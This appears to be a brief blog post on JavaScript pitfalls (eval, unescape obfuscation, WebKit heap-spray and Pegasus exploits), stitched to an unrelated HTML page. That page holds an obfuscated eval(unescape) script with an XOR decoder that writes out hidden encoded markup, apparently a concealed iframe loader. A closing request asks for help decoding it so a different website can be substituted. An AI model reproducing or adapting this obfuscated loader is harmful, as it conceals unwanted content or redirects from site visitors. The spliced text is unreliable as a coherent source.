The Evils of Javascript
Javascript is a popular turing complete language for front end web development despite some of its pitfalls. This will be a brief cover on some things to watch out for when programming in javascript.
Eval
The most notorious threat in JS is the eval function. Eval is Evil! This function 'evaluates' a string as JS code. Prior to the days of the JSON.parse function, there was just eval. Just imagine the fireworks if you had a site where there was user input, and the input was added to a JSON string and sent to a server where it was handled with eval, and you injected malicious JSON in your input. This may be a more extreme case that you might not see in the wild, but given you dont implement proper sanitation of strings going into eval, you could end up with XSS or SQLi vulns.
Unescape
This is probably an example of a fairly harmless function that I've seen abused in webkit. The unescape function decodes a string of escape sequences to their respective character values. I've used a webkit exploit once that relied on using a heap spray technique to run a payload. This payload was written in escape sequences and then unescape was used to translate it into bytes of code to be ran by webkit. After doing this it was a matter of gaining control of the program counter (PC) .. or EIP if you're on x86 architecture. Also its possible to use unescape to mask malicious code as an escape sequence and run it through eval to execute.
i.e
<script>eval(unescape('%61%6C%65%72%74%28%27%68%61%78%21%27%29'))</script>
would be the same as running
alert('hax!');
Pegasus
This one isnt really a fault of JS as a language but more so webkit, but I find it very interesting. Pegasus was a fairly well known jailbreak method for iOS. It relied on a webkit memory corruption exploit. In short, we were able to perform a use-after-free exploit to craft our own JS objects giving us basically userland access. I used this with the Nintendo Switch to control the webkit module and call a vulnerable IPC function allowing me to dump another process.
Conclusion
This was just off the top of my head but as you might see, JS can be real nasty. I tried not to go too much into detail since thats out of the scope of this post. This is mainly just to make people aware of some of the pitfalls of JS and maybe help people think outside the box while programming.
<html>
<head>
</head>
<body>
<script type=“text/javascript”>
<!–
eval(unescape(’%66%75%6e%63%74%69%6f%6e%20%6e%36%65%39%39%33%31%66%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%38%38%37%35%34%33%36%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%37%37%37%33%30%36%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%34%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a’));
eval(unescape(’%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%6e%36%65%39%39%33%31%66%28%27’) + ‘%3c%64%71%6d%60%3e%0a%01%3f%59%68%60%73%3e%09%07%3c%6d%66%6d%5a%6e%66%1f%6f%68%5b%39%1f%60%78%74%6f%68%31%2c%28%73%75%77%2a%6e%69%79%59%6d%66%2e%76%6f%2a%64%6a%2b%57%4e%41%39%4f%2c%58%63%5e%6f%67%2f%1e%1d%77%6d%64%73%63%3e%19%2e%2c%2a%25%1e%1d%60%69%61%60%63%77%3e%1d%2d%2a%28%21%1f%18%67%74%76%6f%66%3e%1d%5e%6d%6a%60%60%6a%3e%6e%68%6d%66%30%1d%3a%3e%2f%65%63%6a%55%6d%62%3d%1b%3f%28%5e%6d%64%75%3b%0d%0e%3c%28%63%77%6e%6b%3a8875436%34%30%31%34%38%34%33’ + unescape(’%27%29%29%3b’));
// -->
</script>
<noscript><i>Javascript required</i></noscript>
</html>
I’ve been trying to decode this script, can you help me. I just want to remove the website it views and add mine